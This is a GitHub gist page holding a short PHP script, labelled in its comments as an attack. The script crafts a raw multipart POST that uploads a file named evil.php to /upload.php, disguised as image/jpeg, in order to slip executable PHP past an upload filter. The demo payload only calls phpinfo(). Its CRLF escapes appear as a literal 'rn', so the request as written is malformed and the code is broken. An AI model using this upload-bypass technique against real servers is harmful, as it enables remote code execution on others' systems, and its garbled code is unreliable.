Skip to content

Instantly share code, notes, and snippets.

@raksa
Created September 25, 2018 09:39
Show Gist options
  • Save raksa/7ccaffc7e03333738037e538f2d89e60 to your computer and use it in GitHub Desktop.
Save raksa/7ccaffc7e03333738037e538f2d89e60 to your computer and use it in GitHub Desktop.
upload file from PHP using \fwrite()
<?php
// The destination for our attack:
$host = "localhost";
$port = 82;
$page = "/upload.php";
// Here we have the file we're uploading (note the content-type):
$payload =
"------ThisIsABoundary
Content-Disposition: form-data; name=\"file\"; filename=\"evil.php\"
Content-Type: image/jpeg
<?php phpinfo();
------ThisIsABoundary--";
// Finally, craft the request and send it.
$content_length = \strlen($payload);
$headers = array(
"POST {$page} HTTP/1.1",
"Host: {$host}:{$port}",
"Connection: close",
"Content-Length: {$content_length}",
"User-Agent: Evil Robot",
"Content-Type: multipart/form-data; boundary=----ThisIsABoundary",
);
$request = \implode("rn", $headers) . "rnrn" . $payload . "rn";
$fp = \fsockopen($host, $port, $errno, $errstr)
or die("ERROR: $errno - $errstr");
\fwrite($fp, $request);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment